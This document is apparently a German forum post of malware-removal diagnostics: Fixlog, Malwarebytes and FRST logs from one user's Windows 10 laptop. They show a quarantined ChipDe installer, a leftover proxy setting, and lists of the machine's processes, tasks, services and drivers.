========= Ende von RemoveProxy: =========
SystemRestore: On => abgeschlossen
=========== EmptyTemp: ==========
BITS transfer queue => 10510336 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 289574963 B
Java, Flash, Steam htmlcache => 661651075 B
Windows/system/drivers => 44842023 B
Edge => 2428527 B
Firefox => 25535175 B
Opera => 0 B
Temp, IE cache, history, cookies, recent:
Default => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
systemprofile32 => 37341 B
LocalService => 111217 B
NetworkService => 113295 B
Jules => 11696960 B
RecycleBin => 0 B
EmptyTemp: => 998 MB temporäre Dateien entfernt.
================================
Das System musste neu gestartet werden.
==== Ende von Fixlog 21:49:13 ====
Logdatei von MBAM Code:
ATTFilter Malwarebytes
www.malwarebytes.com
-Protokolldetails-
Scan-Datum: 13.04.21
Scan-Zeit: 22:02
Protokolldatei: 271eb600-9c93-11eb-88af-a81e84307a62.json
-Softwaredaten-
Version: 4.3.0.98
Komponentenversion: 1.0.1251
Version des Aktualisierungspakets: 1.0.39375
Lizenz: Testversion
-Systemdaten-
Betriebssystem: Windows 10 (Build 19041.867)
CPU: x64
Dateisystem: NTFS
Benutzer: Jules-AcerF17\Jules
-Scan-Übersicht-
Scan-Typ: Bedrohungs-Scan
Scan gestartet von: Manuell
Ergebnis: Abgeschlossen
Gescannte Objekte: 314068
Erkannte Bedrohungen: 2
In die Quarantäne verschobene Bedrohungen: 2
Abgelaufene Zeit: 5 Min., 27 Sek.
-Scan-Optionen-
Speicher: Aktiviert
Start: Aktiviert
Dateisystem: Aktiviert
Archive: Aktiviert
Rootkits: Aktiviert
Heuristik: Aktiviert
PUP: Erkennung
PUM: Erkennung
-Scan-Details-
Prozess: 0
(keine bösartigen Elemente erkannt)
Modul: 0
(keine bösartigen Elemente erkannt)
Registrierungsschlüssel: 1
PUP.Optional.ChipDe, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\EVENTLOG\APPLICATION\chip 1-click download service, In Quarantäne, 622, 463412, 1.0.39375, , ame, , ,
Registrierungswert: 0
(keine bösartigen Elemente erkannt)
Registrierungsdaten: 0
(keine bösartigen Elemente erkannt)
Daten-Stream: 0
(keine bösartigen Elemente erkannt)
Ordner: 0
(keine bösartigen Elemente erkannt)
Datei: 1
PUP.Optional.ChipDe, C:\USERS\JULES\APPDATA\LOCAL\DOWNLOADED INSTALLATIONS\{DAD82379-C684-4D04-83D5-2B9934A9C362}\CHIP INSTALLER.MSI, In Quarantäne, 622, 594115, 1.0.39375, , ame, , B611022B10D24A0DEFC90AAFA7DDA4DA, 04D0380AE3F5F63DC514B46A65FE26114E69B2610F644F8BD9114D8460CBFEB8
Physischer Sektor: 0
(keine bösartigen Elemente erkannt)
WMI: 0
(keine bösartigen Elemente erkannt)
(end)
Code:
ATTFilter Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 11-04-2021
durchgeführt von Jules (Administrator) auf JULES-ACERF17 (Acer Aspire F5-771G) (13-04-2021 22:11:25)
Gestartet von D:\Downloads
Geladene Profile: Jules
Platform: Windows 10 Home Version 2004 19041.867 (X64) Sprache: Deutsch (Deutschland)
Standard-Browser: FF
Start-Modus: Normal
==================== Prozesse (Nicht auf der Ausnahmeliste) =================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)
(Acer Incorporated -> ) C:\OEM\Preload\FubTool\FubTool.exe
(Acer Incorporated -> ) C:\Program Files (x86)\Acer\Care Center\ACCStd.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files (x86)\Acer\AOP Framework\BackgroundAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\ePowerButton_NB.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QAAdminAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QAAgent.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QALockHandler.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QALSvc.exe
(Acer Incorporated -> Acer Incorporated) C:\Program Files\Acer\Acer Quick Access\QASvc.exe
(Acer Incorporated -> acer) C:\Program Files\Acer\User Experience Improvement Program\Framework\UBTService.exe
(Acer Incorporated -> TODO: <Company name>) C:\Program Files\Acer\User Experience Improvement Program\Plugin\AppMonitor\AppMonitorPlugIn.exe
(Adobe Inc. -> Adobe Inc.) C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
(Dropbox, Inc -> Dropbox, Inc.) C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
(Dropbox, Inc -> Dropbox, Inc.) C:\Windows\System32\DbxSvc.exe
(Electronic Arts, Inc. -> Electronic Arts) D:\Games\Origin\OriginWebHelperService.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2guard.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2service.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\a2start.exe
(Emsisoft Ltd -> Emsisoft Ltd) C:\Program Files\Emsisoft Anti-Malware\eppwsc.exe
(Epic Games Inc. -> Epic Games, Inc.) D:\Games\Epic Games\Launcher\Engine\Binaries\Win64\EpicWebHelper.exe <2>
(Epic Games Inc. -> Epic Games, Inc.) D:\Games\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe
(IndiLogic LLC -> Dell Inc.) C:\Program Files\Dell\Dell Peripheral Manager\DPM.exe
(IndiLogic LLC -> Dell Inc.) C:\Program Files\Dell\Dell Peripheral Manager\DPMService.exe
(Intel Corporation - Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Intel Corporation - Embedded Subsystems and IP Blocks Group -> Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Intel Corporation) [Datei ist nicht signiert] C:\Program Files (x86)\Intel\Intel(R) Security Assist\isaHelperService.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxCUIService.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxEM.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\igfxext.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\IntelCpHDCPSvc.exe
(Intel(R) pGFX -> Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_82119d956c80af5a\IntelCpHeciSvc.exe
(Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel(R) Rapid Storage Technology -> Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
(Intel(R) Smart Sound Technology -> Intel Corporation) C:\Windows\System32\IntelSSTAPO\ParameterService\ParameterService.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbam.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Malwarebytes Inc -> Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\FileCoAuth.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe
(Microsoft Corporation -> Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_2.2010.22653.0_x64__8wekyb3d8bbwe\Cortana.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.13228.41011.0_x64__8wekyb3d8bbwe\commsapps.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.13228.41011.0_x64__8wekyb3d8bbwe\HxTsr.exe
(Microsoft Corporation) C:\Program Files\WindowsApps\Microsoft.WindowsStore_12011.1001.1.0_x64__8wekyb3d8bbwe\WinStore.App.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\dllhost.exe <2>
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\MoUsoCoreWorker.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\oobe\UserOOBEBroker.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(Microsoft Windows -> Microsoft Corporation) C:\Windows\System32\WWAHost.exe
(Mozilla Corporation -> Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe <8>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NetService\NvNetworkService.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe <2>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe <2>
(NVIDIA Corporation -> NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\GeForce Experience Service\GfExperienceService.exe
(Open Source Developer, Robin Krom -> Greenshot) D:\Programme\Greenshot\Greenshot.exe
(pdfforge GmbH -> pdfforge GmbH) C:\Program Files\PDF Architect 7\updater-ws.exe
(pdfforge GmbH -> pdfforge GmbH) C:\Program Files\PDF Architect 7\ws.exe
(Qualcomm Atheros -> Windows (R) Win 7 DDK provider) C:\Windows\System32\AdminService.exe
(Realtek Semiconductor Corp -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe
(Realtek Semiconductor Corp -> Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Valve -> Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
(Valve -> Valve Corporation) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe <7>
(Valve -> Valve Corporation) D:\Games\Steam\steam.exe
==================== Registry (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16475392 2016-06-03] (Realtek Semiconductor Corp -> Realtek Semiconductor)
HKLM\...\Run: [RtHDVBg_TrueHarmony] => C:\Program Files\Realtek\Audio\HDA\RAVBg64.exe [1454336 2016-06-03] (Realtek Semiconductor Corp -> Realtek Semiconductor)
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320584 2016-06-01] (Intel(R) Rapid Storage Technology -> Intel Corporation)
HKLM\...\Run: [NvBackend] => C:\Program Files (x86)\NVIDIA Corporation\Update Core\NvBackend.exe [2398776 2016-06-15] (NVIDIA Corporation -> NVIDIA Corporation)
HKLM\...\Run: [ShadowPlay] => C:\WINDOWS\system32\nvspcap64.dll [1767760 2016-06-15] (NVIDIA Corporation PE Sign v2014 -> NVIDIA Corporation) [Datei ist nicht signiert]
HKLM\...\Run: [emsisoft anti-malware] => C:\Program Files\Emsisoft Anti-Malware\a2guard.exe [9247488 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
HKLM\...\Run: [Greenshot] => D:\Programme\Greenshot\Greenshot.exe [527792 2017-08-09] (Open Source Developer, Robin Krom -> Greenshot)
HKLM-x32\...\Run: [Dropbox] => C:\Program Files (x86)\Dropbox\Client\Dropbox.exe [7991528 2021-03-30] (Dropbox, Inc -> Dropbox, Inc.)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [OneDrive] => C:\Program Files (x86)\Microsoft OneDrive\OneDrive.exe [1941368 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [Steam] => D:\Games\Steam\steam.exe [4087528 2021-04-12] (Valve -> Valve Corporation)
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [EpicGamesLauncher] => D:\Games\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe [33000928 2021-04-07] (Epic Games Inc. -> Epic Games, Inc.)
HKLM\...\Print\Monitors\PDF Architect 7 Monitor: C:\WINDOWS\system32\spool\DRIVERS\x64\pdf architect_pdfpmon_v.4.12.26.3.dll [932984 2019-11-05] (PDF Tools AG -> PDF Tools AG (hxxp://www.pdf-tools.com))
==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) ============
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
Task: {0EC15704-9DA5-4819-8078-A90B7EE9F84C} - System32\Tasks\Microsoft\Office\Office Subscription Maintenance => C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonx86\Microsoft Shared\Office16\OLicenseHeartbeat.exe [1120136 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {3F8AEE16-2BA4-4B2F-87DB-FB1A4608C172} - System32\Tasks\Intel PTT EK Recertification => C:\Program Files\Intel\iCLS Client\IntelPTTEKRecertification.exe [855352 2016-02-19] (Intel(R) Trusted Connect Service -> Intel(R) Corporation)
Task: {42A29DB3-7C4B-4CA1-8AF0-BA4A9CB4EF69} - System32\Tasks\Adobe Acrobat Update Task => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1557200 2021-01-25] (Adobe Inc. -> Adobe Inc.)
Task: {4E6C8427-B72C-4B08-8BA1-B3A286DEB17F} - System32\Tasks\BacKGroundAgent => C:\Program Files (x86)\Acer\AOP Framework\BackgroundAgent.exe [65752 2017-03-20] (Acer Incorporated -> Acer Incorporated)
Task: {5068E9F9-14E3-43C6-8700-9D46075E695D} - System32\Tasks\Microsoft\Office\Office Automatic Updates 2.0 => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [23248760 2021-04-01] (Microsoft Corporation -> Microsoft Corporation)
Task: {62B88DDB-114A-4AA3-B091-F34AEA7CDDCF} - System32\Tasks\Software Update Application => C:\ProgramData\OEM\UpgradeTool\ListCheck.exe [472992 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {67177320-28FA-44FB-94F6-A72E1D9B7F06} - System32\Tasks\DashlaneUpgradeCheck => net [Argument = start "Dashlane Upgrade Service"]
Task: {6A4854BF-8C01-4ABA-A121-A668EE19EB18} - System32\Tasks\Microsoft\Office\Office ClickToRun Service Monitor => C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeC2RClient.exe [23248760 2021-04-01] (Microsoft Corporation -> Microsoft Corporation)
Task: {7B93C34D-0FCB-4E63-B718-9A48AAAA38D1} - System32\Tasks\ACCBackgroundApplication => C:\Program Files (x86)\Acer\Care Center\ACCStd.exe [4644256 2016-06-24] (Acer Incorporated -> )
Task: {7C827211-20DC-4E4F-9E5F-2EE67FCC9554} - System32\Tasks\Microsoft\Office\Office Feature Updates => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [114008 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {7F14A62D-A829-479D-AF0F-389B790CDC1B} - System32\Tasks\DropboxUpdateTaskMachineUA => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
Task: {8408EC83-FF93-4CB5-94F6-4B822BA3CA40} - System32\Tasks\FubToolByPLD => C:\OEM\Preload\FubTool\FubTool.exe [30976 2015-05-14] (Acer Incorporated -> )
Task: {AAEF01A6-0864-4290-9E80-939D613ADF65} - System32\Tasks\DropboxUpdateTaskMachineCore => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
Task: {AEF0A045-0991-4CF8-861D-AAAFDD98E640} - System32\Tasks\Microsoft\Office\Office Feature Updates Logon => C:\Program Files (x86)\Microsoft Office\root\Office16\sdxhelper.exe [114008 2021-04-08] (Microsoft Corporation -> Microsoft Corporation)
Task: {B06830CB-A336-4393-AB9A-B982E7372DA2} - System32\Tasks\ACC => C:\Program Files (x86)\Acer\Care Center\LiveUpdateChecker.exe [2919840 2016-06-24] (Acer Incorporated -> )
Task: {B4719A51-4DA3-4F0F-9780-293A00226B0C} - System32\Tasks\OneDrive Per-Machine Standalone Update Task => C:\Program Files (x86)\Microsoft OneDrive\OneDriveStandaloneUpdater.exe [2884984 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
Task: {C6FBEEC9-A6FB-4B2B-B475-8EA575F2C1EA} - System32\Tasks\Quick Access => C:\Program Files\Acer\Acer Quick Access\QALauncher.exe [421792 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {D23D6977-588A-4ACB-A50D-49D5C9A0F791} - System32\Tasks\Mozilla\Firefox Default Browser Agent E7CF176E110C211B => C:\Program Files (x86)\Mozilla Firefox\default-browser-agent.exe [696816 2021-03-27] (Mozilla Corporation -> Mozilla Foundation)
Task: {DB8CC784-34CB-4CD4-B5C0-8A4360CE1032} - System32\Tasks\AcerCMUpdateTask2.1.16258 => C:\Program Files (x86)\Acer\Amundsen\2.1.16258\AWC.exe [152880 2016-09-20] (Acer Incorporated -> )
Task: {E5EC4D02-FD4B-4AE8-B3E0-E9C83E5814ED} - System32\Tasks\Power Button => C:\Program Files\Acer\Acer Quick Access\ePowerButton_NB.exe [2766240 2016-07-29] (Acer Incorporated -> Acer Incorporated)
Task: {E7CE31AC-E513-4239-B705-C2D14616AB5C} - System32\Tasks\UbtFrameworkService => C:\Program Files\Acer\User Experience Improvement Program\Framework\TriggerFramework.exe [216296 2014-03-13] (Acer Incorporated -> TODO: <Company name>)
Task: {F80C051A-FE37-4F35-99FC-B6836CD94C02} - System32\Tasks\ACCAgent => C:\Program Files (x86)\Acer\Care Center\LiveUpdateAgent.exe [40352 2016-06-24] (Acer Incorporated -> )
Task: {FA8B32FD-D09C-4E5B-86E2-28A0B8CD9D13} - System32\Tasks\Oem\AcerJumpstartTask => C:\Program Files (x86)\Acer\Acer Jumpstart\hermes.exe [64320 2019-07-11] (Acer Incorporated -> Acer)
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)
Task: C:\WINDOWS\Tasks\DropboxUpdateTaskMachineCore.job => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
Task: C:\WINDOWS\Tasks\DropboxUpdateTaskMachineUA.job => C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
==================== Internet (Nicht auf der Ausnahmeliste) ====================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)
Tcpip\Parameters: [DhcpNameServer] 192.168.2.1
Tcpip\..\Interfaces\{13ba1f29-b11b-4c89-bd59-8ebd7019079f}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{fa5cfcdb-be60-4cbd-aa46-40cdf5603901}: [DhcpNameServer] 192.168.2.1
Edge:
=======
Edge DefaultProfile: Default
Edge Profile: C:\Users\Jules\AppData\Local\Microsoft\Edge\User Data\Default [2021-04-13]
FireFox:
========
FF DefaultProfile: 2nuh14xm.default
FF ProfilePath: C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default [2021-04-13]
FF DownloadDir: D:\Downloads
FF Homepage: Mozilla\Firefox\Profiles\2nuh14xm.default -> hxxps://duckduckgo.com/
FF NetworkProxy: Mozilla\Firefox\Profiles\2nuh14xm.default -> backup.ftp", "83.78.129.154 "
FF Extension: (Dark Reader) - C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default\Extensions\addon@darkreader.org.xpi [2021-04-06]
FF Extension: (Adblock Plus - kostenloser Adblocker) - C:\Users\Jules\AppData\Roaming\Mozilla\Firefox\Profiles\2nuh14xm.default\Extensions\{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi [2021-01-28]
FF HKLM\...\Firefox\Extensions: [pdf_architect_7_conv_v.2@pdfforge.org] - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi
FF Extension: (PDF Architect 7 Creator) - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi [2019-10-02]
FF HKLM-x32\...\Firefox\Extensions: [pdf_architect_7_conv_v.2@pdfforge.org] - C:\Program Files\PDF Architect 7\creator\plugins\FirefoxAddin\pdf_architect_7_conv_v.2@pdfforge.org.xpi
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files\Microsoft Silverlight\5.1.50918.0\npctrl.dll [2018-10-23] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> C:\Program Files (x86)\Microsoft Silverlight\5.1.50918.0\npctrl.dll [2018-10-23] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\Program Files (x86)\Microsoft Office\root\Office16\NPSPWRAP.DLL [2021-03-04] (Microsoft Corporation -> Microsoft Corporation)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AIR\nppdf32.dll [2021-03-06] (Adobe Inc. -> Adobe Systems Inc.)
==================== Dienste (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
R2 a2AntiMalware; C:\Program Files\Emsisoft Anti-Malware\a2service.exe [9855880 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
R2 AdobeARMservice; C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe [169672 2021-01-25] (Adobe Inc. -> Adobe Inc.)
R2 ClickToRunSvc; C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe [8788368 2021-03-29] (Microsoft Corporation -> Microsoft Corporation)
S2 Dashlane Upgrade Service; C:\Program Files (x86)\Dashlane\Upgrade\DashlaneUpgradeService.exe [83992 2017-08-23] (Dashlane -> Dashlane, Inc.)
S2 dbupdate; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
S3 dbupdatem; C:\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe [143144 2020-06-12] (Dropbox, Inc -> Dropbox, Inc.)
R2 DbxSvc; C:\WINDOWS\system32\DbxSvc.exe [44272 2021-03-30] (Dropbox, Inc -> Dropbox, Inc.)
R2 DPMService; C:\Program Files\Dell\Dell Peripheral Manager\DPMService.exe [1585760 2020-11-25] (IndiLogic LLC -> Dell Inc.)
S3 EasyAntiCheat; C:\Program Files (x86)\EasyAntiCheat\EasyAntiCheat.exe [803952 2020-11-29] (EasyAntiCheat Oy -> EasyAntiCheat Ltd)
R2 EppWsc; C:\Program Files\Emsisoft Anti-Malware\EppWsc.exe [1545368 2021-04-02] (Emsisoft Ltd -> Emsisoft Ltd)
S3 FileSyncHelper; C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\FileSyncHelper.exe [2218872 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
S3 Intel(R) Security Assist; C:\Program Files (x86)\Intel\Intel(R) Security Assist\isa.exe [335872 2016-03-02] (Intel Corporation) [Datei ist nicht signiert]
R2 isaHelperSvc; C:\Program Files (x86)\Intel\Intel(R) Security Assist\isaHelperService.exe [8704 2016-03-02] (Intel Corporation) [Datei ist nicht signiert]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe [7456464 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
S3 OneDrive Updater Service; C:\Program Files (x86)\Microsoft OneDrive\21.052.0314.0001\OneDriveUpdaterService.exe [2603368 2021-04-10] (Microsoft Corporation -> Microsoft Corporation)
S3 Origin Client Service; D:\Games\Origin\OriginClientService.exe [2536536 2021-04-07] (Electronic Arts, Inc. -> Electronic Arts)
R2 Origin Web Helper Service; D:\Games\Origin\OriginWebHelperService.exe [3481176 2021-04-07] (Electronic Arts, Inc. -> Electronic Arts)
R3 PDF Architect 7; C:\Program Files\PDF Architect 7\ws.exe [2579752 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
S3 PDF Architect 7 Creator; C:\Program Files\PDF Architect 7\creator\common\creator-ws.exe [692008 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
R2 PDF Architect 7 Update Service; C:\Program Files\PDF Architect 7\updater-ws.exe [1832232 2019-10-07] (pdfforge GmbH -> pdfforge GmbH)
R3 QALSvc; C:\Program Files\Acer\Acer Quick Access\QALSvc.exe [440224 2016-07-29] (Acer Incorporated -> Acer Incorporated)
R3 QASvc; C:\Program Files\Acer\Acer Quick Access\QASvc.exe [481696 2016-07-29] (Acer Incorporated -> Acer Incorporated)
S3 Rockstar Service; D:\Games\RockstarLauncher\RockstarService.exe [1631360 2020-12-02] (Rockstar Games, Inc. -> Rockstar Games)
S3 ss_conn_launcher_service; C:\WINDOWS\System32\Samsung\EasySetup\ss_conn_launcher.exe [182128 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
R3 UEIPSvc; C:\Program Files\Acer\User Experience Improvement Program\Framework\UBTService.exe [295840 2016-05-28] (Acer Incorporated -> acer)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [3004048 2019-12-07] (Microsoft Windows Publisher -> Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [103384 2019-12-07] (Microsoft Windows Publisher -> Microsoft Corporation)
===================== Treiber (Nicht auf der Ausnahmeliste) ===================
(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
S3 AppleKmdfFilter; C:\WINDOWS\System32\drivers\AppleKmdfFilter.sys [20640 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.)
S3 AppleLowerFilter; C:\WINDOWS\System32\drivers\AppleLowerFilter.sys [35560 2018-05-10] (WDKTestCert build,131474841775766162 -> Apple Inc.)
S3 BthA2dp; C:\WINDOWS\System32\drivers\BthA2dp.sys [279040 2019-12-07] (Microsoft Corporation) [Datei ist nicht signiert]
S3 dg_ssudbus; C:\WINDOWS\system32\DRIVERS\ssudbus2.sys [159600 2020-11-11] (Samsung Electronics Co., Ltd. -> Samsung Electronics Co., Ltd.)
R3 DPMDriver; C:\WINDOWS\System32\drivers\DPMDriver.sys [133864 2020-10-01] (IndiLogic LLC -> Dell Inc.)
R1 epp; C:\PROGRAM FILES\EMSISOFT ANTI-MALWARE\epp.sys [155112 2020-02-17] (Microsoft Windows Hardware Compatibility Publisher -> Emsisoft Ltd)
R0 eppdisk; C:\WINDOWS\System32\drivers\eppdisk.sys [37776 2019-06-03] (Emsisoft Ltd -> Emsisoft Ltd)
S0 EppElam; C:\WINDOWS\System32\drivers\EppElam.sys [16808 2020-06-02] (Microsoft Windows Early Launch Anti-Malware Publisher -> Emsisoft Ltd)
R1 eppwfp; C:\Program Files\Emsisoft Anti-Malware\eppwfp.sys [126968 2020-11-02] (Microsoft Windows Hardware Compatibility Publisher -> Emsisoft Ltd)
R1 ESProtectionDriver; C:\WINDOWS\system32\drivers\mbae64.sys [199128 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
R3 LMDriver; C:\WINDOWS\System32\drivers\LMDriver.sys [31000 2018-05-15] (Acer Incorporated -> Acer Incorporated)
R2 MBAMChameleon; C:\WINDOWS\System32\Drivers\MbamChameleon.sys [220752 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
S0 MbamElam; C:\WINDOWS\System32\DRIVERS\MbamElam.sys [19912 2021-04-13] (Microsoft Windows Early Launch Anti-Malware Publisher -> Malwarebytes)
R3 MBAMFarflt; C:\WINDOWS\System32\DRIVERS\farflt.sys [198248 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMProtection; C:\WINDOWS\system32\DRIVERS\mbam.sys [77496 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMSwissArmy; C:\WINDOWS\System32\Drivers\mbamswissarmy.sys [248992 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
R3 MBAMWebProtection; C:\WINDOWS\system32\DRIVERS\mwac.sys [157944 2021-04-13] (Malwarebytes Inc -> Malwarebytes)
